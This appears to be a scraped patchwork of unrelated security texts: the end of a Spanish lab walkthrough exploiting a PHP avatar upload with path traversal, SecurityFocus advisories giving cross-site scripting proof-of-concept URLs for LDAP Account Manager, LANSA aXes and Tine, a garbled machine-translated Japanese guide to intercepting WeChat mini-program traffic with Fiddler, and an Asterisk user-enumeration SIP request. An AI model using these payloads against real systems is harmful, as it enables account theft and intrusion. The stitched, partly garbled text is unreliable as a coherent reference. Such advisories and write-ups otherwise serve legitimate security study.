Una vez llegados aquí, ya podemos desactivar el Burp Suite, ya que no haremos más uso de él.

image 252

Con esto, volvemos a nuestro perfil.

image 253

Ahora, si nos fijamos en el perfil, podemos ver como el avatar ha cambiado, y ahora muestra un fallo de que no carga bien la imagen:

image 230

Dándole click derecho, podemos irnos a la ruta directa de la imagen para ver si se trata de nuestro archivo PHP:

image 254
image 255

Y efectivamente, el archivo PHP que hemos subido se ha almacenado como el archivo del avatar, por eso no cargaba en el perfil, intentaba cargar una imagen cuando no lo era. Al visitar el archivo PHP, se ha interpretado el código que hemos colocado, y conseguimos leer el archivo secret. De hecho, también podríamos acceder al archivo en la siguiente ruta:

image 256

Se ha subido un directorio más atrás del que debería, por eso se interpreta y no le afecta la restricción del servidor.

Habiendo leído este archivo, ya simplemente entregamos la respuesta:

image 257
image 258

Y de esta forma, completamos el laboratorio:

image 259
image 260

source: https://www.securityfocus.com/bid/47674/info

LDAP Account Manager is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

LDAP Account Manager 3.4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/ldap-account-manager-3.4.0/templates/login.php?selfserviceSaveOk=[XSS] 
            
source: https://www.securityfocus.com/bid/47672/info

LANSA aXes Web Terminal TN5250 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

 https://www.example.com/axests/terminal?cssref=/ts/skins/axes_default.css?axbuild=135001&login=[xss] 
            
source: https://www.securityfocus.com/bid/47669/info

Tine is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Tine 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/tine/library/vcardphp/vbook.php?file=<script>alert(0)</script> 
            

1.フィドラーをインストールします

公式ウェブサイトのダウンロード:https://www.telerik.com/download/fiddler

2。構成

Fiddlerツールを開く - オプション、general:すべてを選択します

1049983-20220825020503721-1002766279.jpgHTTPS:

1049983-20220825020504532-1398340308.jpgConnections3:プロキシアドレスを構成します

1049983-20220825020505279-761028094.jpgGateway:

1049983-20220825020506115-2059808853.png 3。コンピューターアプレットを開きます

WeChatからログアウトして、WeChatにログインするときにエージェントをセットアップします

1049983-20220825020506706-65946589.pngアプレットを開きます

1049983-20220825020507343-1819710808.jpgsuccessiveしてキャプチャされました

1049983-20220825020508746-1485934669.jpg

うまくいかない場合

アプレットを開き、タスクマネージャーを開き、アプレットプロセスを見つけ、ファイルの場所を開きます

1049983-20220825020509474-944554242.jpg

WeChatのログアウト、\ wmpfruntimeの下のすべてのファイルを削除し、再度ログインしてMINIプログラムを開きます。

c: \ users \ backlion \ appdata \ roaming \ tencent \ wechat \ xplugin \ plugins \ wmpfruntime

1049983-20220825020510007-966097145.png

source: https://www.securityfocus.com/bid/47676/info

Asterisk is prone to a user-enumeration weakness.

An attacker may leverage this issue to harvest valid usernames, which may aid in brute-force attacks.

This issue affects Asterisks 1.8. 

The following request is available:

INVITE sip:192.168.2.1 SIP/2.0
CSeq: 3 INVITE
Via: SIP/2.0/UDP www.example.com:5060;branch=z9hG4bK78adb2cd-0671-e011-81a1-a1816009ca7a;rport
User-Agent: TT
From: <sip:105@192.168.2.1>;tag=642d29cd-0671-e011-81a1-a1816009ca7a
Call-ID: 5RRdd5Cv-0771-e011-84a1-a1816009ca7a@lapblack2
To: <sip:500@192.168.2.1>
Contact: <sip:105@localhost>;q=1
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,SUBSCRIBE,NOTIFY,REFER,MESSAGE,INFO,PING
Expires: 3600
Content-Length: 0
Max-Forwards: 70